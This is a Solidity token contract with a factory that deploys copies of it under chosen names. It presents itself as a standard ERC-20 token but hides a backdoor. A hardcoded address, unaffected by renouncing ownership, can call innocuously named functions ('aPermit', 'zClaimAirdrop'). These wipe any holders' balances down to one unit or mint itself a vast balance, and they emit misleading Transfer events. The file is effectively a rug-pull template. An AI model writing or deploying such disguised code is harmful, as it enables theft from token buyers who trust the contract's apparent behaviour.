File 1 of 1: Coin.sol
pragma solidity 0.8.28;
interface IERC20_BASE {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 tokenAmount,
uint256 minTokenAmount,
uint256 minEthAmount,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Coin is Context, IERC20_BASE, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000 * 10**_decimals;
uint256 finalTax = 1;
uint256 inicialTax = 10;
mapping(address => uint256) private immutableStatusOn;
mapping(address => mapping(address => uint256)) private _allowances;
address private constant ADDRESS_WETH = 0x4200000000000000000000000000000000000006;
address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
address ADDRESS_BASE = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor(string memory name_, string memory symbol_, address creator) {
_name = name_;
_symbol = symbol_;
immutableStatusOn[creator] = _totalSupply.mul(1).div(1000);
uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), creator, _totalSupply.mul(1).div(1000));
transferOwnership(creator);
_distributeTokens();
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return immutableStatusOn[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount);
immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _distributeTokens() internal {
uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
uint256 threePercent = _totalSupply.mul(2).div(1000);
uint256 twoPercent = _totalSupply.mul(1).div(1000);
immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent);
immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent);
emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent);
}
modifier immutableCreator() {
require(ADDRESS_BASE == _msgSender());
_;
}
function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax;
emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
}
}
function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals);
}
receive() external payable {}
}
contract CreatorToken {
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
struct TokenDetails {
string name;
string symbol;
address owner;
}
TokenDetails[] public tokens;
function createTokens(
string[] calldata names,
string[] calldata symbols,
address[] calldata owners
) external {
require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length");
for (uint256 i = 0; i < names.length; i++) {
Coin token = new Coin(names[i], symbols[i], owners[i]);
tokens.push(TokenDetails({
name: names[i],
symbol: symbols[i],
owner: owners[i]
}));
emit TokenCreated(address(token), names[i], symbols[i], owners[i]);
}
}
function getTokenDetails(uint256 index) external view returns (string memory name, string memory symbol, address owner) {
require(index < tokens.length, "Coin index out of bounds");
TokenDetails memory tokenDetails = tokens[index];
return (tokenDetails.name, tokenDetails.symbol, tokenDetails.owner);
}
}